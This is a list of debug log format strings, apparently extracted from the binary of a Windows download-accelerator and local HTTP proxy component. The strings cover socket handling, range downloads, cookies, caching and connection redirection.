[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d

[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d

[HttpProxyRemote - %p] FDM=%d (%d).

[~HttpProxyRemote - %p] FDM=%d (%d).

[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!

[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.

[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld

[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d

[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo

[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld

[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.

[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).

HttpProxyRemote::WriteCachedBufferToSocket

[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.

HttpProxyRemote::ConnectToDomain

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid

[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !

[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.

[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)

[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d

[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom

[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d

[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.

[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)

[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader

HttpProxyRemote::UpdateRequest

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.

[HttpProxyRemote::ReStartCurrentJob]

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.

[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !

[HttpProxyRemote::UpdateParameters] ___Error invalid job or request

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected

[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.

[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)

HttpProxyRemote::StartJob

[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d

[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d

[RequestInfo::SetPassThrough] Req:%d - ON

[RequestInfo] Req:%d

[~RequestInfo] Req:%d

https:

%s=%s%s%s

[HttpCookieJar::GetCookie] Removing cookie: %s

[HttpCookieJar::SetCookies] Removing cookie: %s

[NetworkEventsSink::RefreshSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed

[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::ClearSocketMessages] Messages: %d

[NetworkEventsSink::Find] socket %d - was found.

[NetworkEventsSink::Find] socket %d

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.

[NetworkEventsSink::RemoveFromSocketsMap] socket %d

[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d

[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d

[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.

UNSUPPORTED_EVENT

[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.

[NetworkEventsSink::Work] The class %s was register.

[NetworkEventsSink::Work] ___Error register the class %s. LE: %d

[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.

[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.

[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink

[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.

[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.

[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.

[NetworkEventsSink::AddSocket] socket %d - Added events sink.

[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.

[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink

[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d

[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.

[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d

[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s

[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s

[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d

[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s

[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d

[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s

[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d

[CHttpCacheManager::FindCacheData] Url: %s

Cookie: %s

[CHttpCacheManager::DestroyCacheData] Url: %s

[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s

[CHttpCacheManager::StopAllCaching]

[CHttpCacheManager::Work] ...Leave

[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d

[CHttpCacheManager::Work] Enter...

[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d

[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d

[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.

[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d

[AsyncSocket::Read] socket %d, Read: %d, Total: %lld

[AsyncSocket::Read] ___Warning - socket %d can't read from yet.

[AsyncSocket::Read] ___Error reading from socket %d. LE: %d

[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.

[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)

[AsyncSocket::Write] ___Error - socket %d. LE: %d.

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.

[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...

[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!

[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).

[AsyncSocket::Write] ___Error - socket %d invalid.

[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u

%u.%u.%u.%u

[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u

[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d

[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X

[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p

[AsyncSocket::GetOverlappedResult] socket %d

[AsyncSocket] socket %d

[AsyncSocket::Initialize] socket %d was initialized.

[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.

[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d

[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d

[AsyncSocket::UnInitialize] socket %d

[AsyncSocket::Close] socket %d, do nothing

[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection

[AsyncSocket::Close] socket %d

[~AsyncSocket] socket %d

[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d

[AsyncSocket::Bind] new socket %d - %s : %d

[AsyncSocket::Bind] socket %d - %s : %d

[AsyncSocket::Connect] socket %d - connected !

[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d

[AsyncSocket::Connect] ___Error socket %d, LE: %d

[AsyncSocket::Connect] socket %d - Already connected !

[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u

[AsyncSocket::Connect] socket %d - IP: %s, Port: %u

[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom

[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)

[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)

[CProxyServerPassThrough] FDM=%d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d

[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d

[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d

[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d

[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d

[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort

[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.

[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.

[SubjectDataProperty::Serialize] ___Error not supported yet

[SubjectDataProperty::Deserialize] ___Error not supported yet

m_PropertyValue.pszValue

m_PropertyValue.pValue

[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d

[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)

[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p

[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p

[CacheManager::Pause] FDM=%d

[CacheManager::Resume] FDM=%d

[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)

[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld

[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)

[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...

[CacheManager::StopCacheData] FDM=%d

[CacheManager::Stop] FDM=%d

[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!

[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld

[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty

[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld

[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***

[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)

[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d

[CacheManager::RemoveAllWorkers] FDM=%d

[~CacheManager - %p] FDM=%d

[CacheManager::Reset] FDM=%d

[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p

[JobsManager::MergeFailedJobs] Job:%d  = Job:%d

[JobsManager::CreateJob] Job:%d, %lld-%lld

[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist

[JobsManager::CreateTimeJob] Job:%d, %lld-0

[JobsManager::DestroyJob] Job:%d

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION

[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)

